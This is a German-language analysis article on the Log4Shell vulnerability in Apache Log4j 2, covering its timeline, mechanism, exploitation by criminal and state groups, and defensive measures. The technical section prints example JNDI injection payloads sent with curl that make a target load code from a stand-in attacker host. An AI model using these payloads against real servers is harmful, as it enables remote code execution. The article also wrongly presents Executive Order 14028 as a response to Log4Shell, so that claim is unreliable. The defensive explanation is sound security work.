Log4Shell (CVE-2021-44228): Analyse der kritischsten Java-Schwachstelle

Was ist Log4Shell?

Log4Shell ist der Name für die Schwachstelle CVE-2021-44228 in Apache Log4j 2, einer der am weitesten verbreiteten Logging-Bibliotheken im Java-Ökosystem. Die Schwachstelle ermöglicht es einem Angreifer, über eine manipulierte Zeichenkette in einer Log-Nachricht beliebigen Code auf einem betroffenen Server auszuführen — ohne Authentifizierung, ohne Benutzerinteraktion.

Der CVSS-Score (Common Vulnerability Scoring System) beträgt 10.0 — der maximal mögliche Wert. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) stufte die Lage am 11. Dezember 2021 als IT-Bedrohungslage 4 — Extrem kritisch ein, die höchste Warnstufe des BSI.

Zeitlinie: Von der Entdeckung zur Eskalation

• 24. November 2021: Chen Zhaojun vom Alibaba Cloud Security Team meldet die Schwachstelle an das Apache Security Team
• 9. Dezember 2021: Öffentliche Bekanntmachung — ein Tweet löst sofortige globale Ausnutzung aus
• 9. Dezember 2021: Apache veröffentlicht Log4j 2.15.0 (erste, unvollständige Korrektur)
• 11. Dezember 2021: BSI erklärt Warnstufe 4 (Extrem kritisch)
• 13. Dezember 2021: Apache veröffentlicht 2.16.0 (behebt CVE-2021-45046)
• 18. Dezember 2021: Apache veröffentlicht 2.17.0 (behebt CVE-2021-45105, DoS)
• 28. Dezember 2021: Apache veröffentlicht 2.17.1 (behebt CVE-2021-44832)

„Die Schwachstelle ist extrem kritisch, da sie eine Ausführung von Schadcode durch Angreifer auf betroffenen Systemen erlaubt. Angriffe sind bereits aktiv zu beobachten."

— BSI Lageeinschätzung, 11. Dezember 2021

Technische Analyse: Wie Log4Shell funktioniert

Log4j 2 unterstützt sogenannte Lookup-Mechanismen, die in Log-Nachrichten Variablen auswerten. Der anfällige Mechanismus ist JNDI (Java Naming and Directory Interface), der ursprünglich für legitime Datenbankverbindungen entwickelt wurde.

Ein Angreifer sendet eine Zeichenkette wie ${jndi:ldap://angreifer.de/exploit} an eine Anwendung, die diese Eingabe loggt. Log4j wertet die Lookup-Syntax aus, verbindet sich mit dem angreifer-kontrollierten LDAP-Server und lädt von dort beliebigen Java-Code herunter und führt ihn aus.

# Beispiel: Angreifer sendet präparierte HTTP-Header
curl -H 'X-Api-Version: ${jndi:ldap://angreifer.de/a}' https://ziel.de/api

# Oder direkt im URL-Parameter
curl 'https://ziel.de/search?q=${jndi:ldap://angreifer.de/a}'

# Oder in User-Agent, Username, E-Mail-Feldern — überall wo die App loggt

Der Angriff ist deshalb so schwer zu verteidigen, weil praktisch jede Eingabe eines Nutzers — HTTP-Header, Formulareingaben, Suchwörter, Benutzernamen — in Log-Nachrichten landen kann.

Betroffene Produkte (Auswahl)

Das Ausmaß der Betroffenheit war beispiellos. Folgende bekannte Systeme waren unter anderem verwundbar (nach Herstellerbestätigungen):

• Cloud-Dienste: Amazon AWS, Apple iCloud, Cloudflare, Twitter
• Enterprise-Software: VMware vCenter, Cisco-Produkte, IBM WebSphere, Oracle-Produkte
• Sicherheitsprodukte: Mehrere SIEM- und EDR-Lösungen (Hersteller wurden Betroffene)
• Entwicklertools: JetBrains, Apache Solr, Apache Druid, Apache Kafka
• Gaming: Minecraft Java Edition (einer der ersten öffentlich bekannten Angriffsvektoren)

Aktive Ausnutzung durch staatliche Akteure

Laut dem gemeinsamen Advisory AA21-356A der US-Behörden CISA, FBI, NSA (veröffentlicht 17. Dezember 2021) wurde Log4Shell aktiv von APT-Gruppen aus China, Iran, Nordkorea und Russland ausgenutzt:

• China (APT-Gruppen): Spionage gegen Regierung, Verteidigung, Energie
• Iran: APT35 (Charming Kitten) setzte Log4Shell für Ransomware und Spionage ein
• Nordkorea: Lazarus Group nutzte die Schwachstelle für Kryptowährungs-Diebstahl
• Russland: Sandworm und APT28 wurden mit Log4Shell-Angriffen in Verbindung gebracht

Darüber hinaus nutzten kriminelle Gruppen Log4Shell massenhaft zur Installation von Cryptominern, Botnets (z.B. Mirai-Varianten) und Ransomware (z.B. Conti, Khonsari).

Sofortmaßnahmen und Schutz

# 1. Sofort: Log4j-Version prüfen
find / -name "log4j*.jar" 2>/dev/null
mvn dependency:tree | grep log4j

# 2. Workaround (bis Patch ausgerollt): JNDI deaktivieren
# Für Log4j 2.10.0 bis 2.14.1:
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar
# ODER: Umgebungsvariable setzen
export LOG4J_FORMAT_MSG_NO_LOOKUPS=true

# 3. Update auf sichere Version
# Maven:
# log4j-core: 2.17.1 (Java 8+), 2.12.4 (Java 7), 2.3.2 (Java 6)

# 4. Netzwerk: Ausgehende LDAP/RMI-Verbindungen blockieren
# (verhindert Exploit-Nachladen auch wenn Lookup ausgeführt wird)
iptables -A OUTPUT -p tcp --dport 389 -j DROP  # LDAP
iptables -A OUTPUT -p tcp --dport 1099 -j DROP # RMI

Was Unternehmen aus Log4Shell lernen müssen

Log4Shell hat vier strukturelle Schwachstellen in der Softwareentwicklung aufgedeckt:

1. Software Bill of Materials (SBOM) fehlt: Viele Unternehmen wussten nicht, welche Versionen von Log4j in welchen Systemen enthalten sind. Eine SBOM — ein vollständiges Inventar aller Software-Komponenten — ist heute Best Practice.
2. Transitive Abhängigkeiten sind unsichtbar: Log4j wurde häufig nicht direkt, sondern als Abhängigkeit von Abhängigkeiten eingebunden. Software Composition Analysis (SCA) Tools sind zwingend notwendig.
3. Patch-Zyklen sind zu langsam: Viele Systeme waren Wochen nach Veröffentlichung des Patches noch verwundbar. Kritische CVEs erfordern Patch-Zeitfenster unter 24 Stunden.
4. Defense in Depth: Systeme ohne ausgehende Netzwerkverbindungen waren gegen Log4Shell deutlich resistenter. Zero-Trust-Netzwerkarchitekturen hätten den Schaden begrenzt.

Fazit: Log4Shell als Wendepunkt

Log4Shell hat die Diskussion um Software Supply Chain Security grundlegend verändert. Die US-Regierung reagierte mit der Executive Order 14028 (Improving the Nation's Cybersecurity), die SBOM-Pflichten für Bundesbehörden einführt. Die EU hat das Thema im Cyber Resilience Act aufgenommen, der SBOM-Anforderungen für in der EU vertriebene Produkte einführt.

Für IT-Teams bedeutet Log4Shell: Kenntnis der eigenen Software-Lieferkette ist keine Option, sondern Grundvoraussetzung für Sicherheit.